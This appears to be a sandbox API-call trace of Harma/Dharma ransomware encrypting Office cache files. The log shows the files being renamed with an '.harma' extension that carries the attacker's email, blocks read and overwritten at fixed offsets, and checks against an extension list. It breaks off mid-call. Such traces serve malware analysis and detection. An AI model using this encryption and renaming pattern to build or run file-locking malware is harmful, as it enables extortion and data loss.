CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0041.613] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2513920) returned 1 [0041.613] CloseHandle (hObject=0x16c) returned 1 [0041.613] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0041.613] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.613] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0041.614] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0041.614] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0041.614] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.614] ReadFile (in: hFile=0x16c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.121] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.121] ReadFile (in: hFile=0x16c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.131] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.131] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.131] ReadFile (in: hFile=0x16c, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.149] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.149] WriteFile (in: hFile=0x16c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0042.457] SetEndOfFile (hFile=0x16c) returned 1 [0042.458] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f234d0 [0042.464] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.464] WriteFile (in: hFile=0x16c, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.466] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.466] WriteFile (in: hFile=0x16c, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.474] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.474] WriteFile (in: hFile=0x16c, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.478] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f234d0 | out: hHeap=0x5a0000) returned 1 [0042.478] CloseHandle (hObject=0x16c) returned 1 [0044.147] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0044.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.147] lstrlenW (lpString=".doc") returned 4 [0044.147] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.147] lstrlenW (lpString=".docx") returned 5 [0044.147] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.147] lstrlenW (lpString=".pdf") returned 4 [0044.147] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.147] lstrlenW (lpString=".xls") returned 4 [0044.147] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.147] lstrlenW (lpString=".xlsx") returned 5 [0044.147] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.147] lstrlenW (lpString=".ppt") returned 4 [0044.147] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.148] lstrlenW (lpString=".zip") returned 4 [0044.148] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.148] lstrlenW (lpString=".rar") returned 4 [0044.148] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.148] lstrlenW (lpString=".bz2") returned 4 [0044.148] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.148] lstrlenW (lpString=".7z") returned 3 [0044.148] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.148] lstrlenW (lpString=".dbf") returned 4 [0044.148] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.148] lstrlenW (lpString=".1cd") returned 4 [0044.148] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.148] lstrlenW (lpString=".jpg") returned 4 [0044.148] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.148] lstrlenW (lpString=".doc") returned 4 [0044.148] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.148] lstrlenW (lpString=".docx") returned 5 [0044.148] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.148] lstrlenW (lpString=".pdf") returned 4 [0044.148] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.148] lstrlenW (lpString=".xls") returned 4 [0044.148] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.148] lstrlenW (lpString=".xlsx") returned 5 [0044.148] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.148] lstrlenW (lpString=".ppt") returned 4 [0044.149] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.149] lstrlenW (lpString=".zip") returned 4 [0044.149] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.149] lstrlenW (lpString=".rar") returned 4 [0044.149] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.149] lstrlenW (lpString=".bz2") returned 4 [0044.149] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.149] lstrlenW (lpString=".7z") returned 3 [0044.149] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.149] lstrlenW (lpString=".dbf") returned 4 [0044.149] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.149] lstrlenW (lpString=".1cd") returned 4 [0044.149] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0044.149] lstrlenW (lpString=".jpg") returned 4 [0044.149] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.149] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0044.149] lstrlenW (lpString="OutlkLR.cab") returned 11 [0044.149] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.150] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=14819276) returned 1 [0044.150] CloseHandle (hObject=0x16c) returned 1 [0044.150] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0044.150] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0044.150] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0044.150] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.151] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.151] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.151] ReadFile (in: hFile=0x16c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.156] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.156] ReadFile (in: hFile=0x16c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.161] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.161] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.161] ReadFile (in: hFile=0x16c, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.178] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.178] WriteFile (in: hFile=0x16c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0044.835] SetEndOfFile (hFile=0x16c) returned 1 [0044.835] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f334d0 [0044.835] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.835] WriteFile (in: hFile=0x16c, lpBuffer=0x3f334d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f334d0*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.836] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.836] WriteFile (in: hFile=0x16c, lpBuffer=0x3f334d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f334d0*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.837] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.837] WriteFile (in: hFile=0x16c, lpBuffer=0x3f334d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f334d0*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.839] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f334d0 | out: hHeap=0x5a0000) returned 1 [0044.839] CloseHandle (hObject=0x16c) returned 1 [0047.516] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0047.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.516] lstrlenW (lpString=".doc") returned 4 [0047.516] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.516] lstrlenW (lpString=".docx") returned 5 [0047.516] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.516] lstrlenW (lpString=".pdf") returned 4 [0047.516] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.516] lstrlenW (lpString=".xls") returned 4 [0047.516] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.516] lstrlenW (lpString=".xlsx") returned 5 [0047.516] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.516] lstrlenW (lpString=".ppt") returned 4 [0047.516] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.516] lstrlenW (lpString=".zip") returned 4 [0047.516] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.516] lstrlenW (lpString=".rar") returned 4 [0047.516] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.516] lstrlenW (lpString=".bz2") returned 4 [0047.516] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.516] lstrlenW (lpString=".7z") returned 3 [0047.516] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.516] lstrlenW (lpString=".dbf") returned 4 [0047.516] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.517] lstrlenW (lpString=".1cd") returned 4 [0047.517] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.517] lstrlenW (lpString=".jpg") returned 4 [0047.517] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.517] lstrlenW (lpString=".doc") returned 4 [0047.517] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.517] lstrlenW (lpString=".docx") returned 5 [0047.517] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.517] lstrlenW (lpString=".pdf") returned 4 [0047.517] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.517] lstrlenW (lpString=".xls") returned 4 [0047.517] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.517] lstrlenW (lpString=".xlsx") returned 5 [0047.517] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.517] lstrlenW (lpString=".ppt") returned 4 [0047.517] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.517] lstrlenW (lpString=".zip") returned 4 [0047.517] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.517] lstrlenW (lpString=".rar") returned 4 [0047.517] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.517] lstrlenW (lpString=".bz2") returned 4 [0047.517] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.517] lstrlenW (lpString=".7z") returned 3 [0047.517] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.517] lstrlenW (lpString=".dbf") returned 4 [0047.517] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.518] lstrlenW (lpString=".1cd") returned 4 [0047.518] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0047.518] lstrlenW (lpString=".jpg") returned 4 [0047.518] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.518] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0047.518] lstrlenW (lpString="Proof.cab") returned 9 [0047.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0047.518] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=11482605) returned 1 [0047.518] CloseHandle (hObject=0x16c) returned 1 [0047.518] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0047.518] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.518] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0047.670] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0047.670] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.670] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.670] ReadFile (in: hFile=0x16c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.752] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.752] ReadFile (in: hFile=0x16c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.772] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.772] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.772] ReadFile (in: hFile=0x16c, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.828] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.829] WriteFile (in: hFile=0x16c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0048.100] SetEndOfFile (hFile=0x16c) returned 1 [0048.100] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f434d8 [0048.104] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.104] WriteFile (in: hFile=0x16c, lpBuffer=0x3f434d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f434d8*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.105] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x3a674f, 